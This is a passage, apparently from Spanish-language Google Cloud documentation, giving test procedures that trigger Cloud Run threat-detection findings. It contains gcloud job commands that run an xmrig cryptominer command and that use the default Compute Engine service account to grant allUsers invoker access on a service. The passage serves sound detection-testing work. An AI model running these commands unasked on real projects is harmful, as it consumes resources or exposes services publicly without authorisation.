Crea y ejecuta el trabajo de Cloud Run:

   JOB_NAME="crtd-test-mining-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command xmrig \
       --wait || true
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Este procedimiento de prueba crea un resultado de Impact: Cryptomining Commands.

Elevación de privilegios: Cuenta de servicio predeterminada de Compute Engine SetIAMPolicy

Para activar un resultado de Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy, ejecuta un comando que use la cuenta de servicio predeterminada de Compute Engine para establecer la política de IAM de un servicio de Cloud Run.

Crea y ejecuta el trabajo de Cloud Run:

   JOB_NAME="crtd-test-set-iam-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image gcr.io/google.com/cloudsdktool/google-cloud-cli:stable \
       --command gcloud \
       --args "run","services","add-iam-policy-binding","non-existent-service","--region",$REGION,"--member=allUsers","--role=roles/run.invoker","--quiet" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Este procedimiento de prueba crea un resultado de Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy.

¿Qué sigue?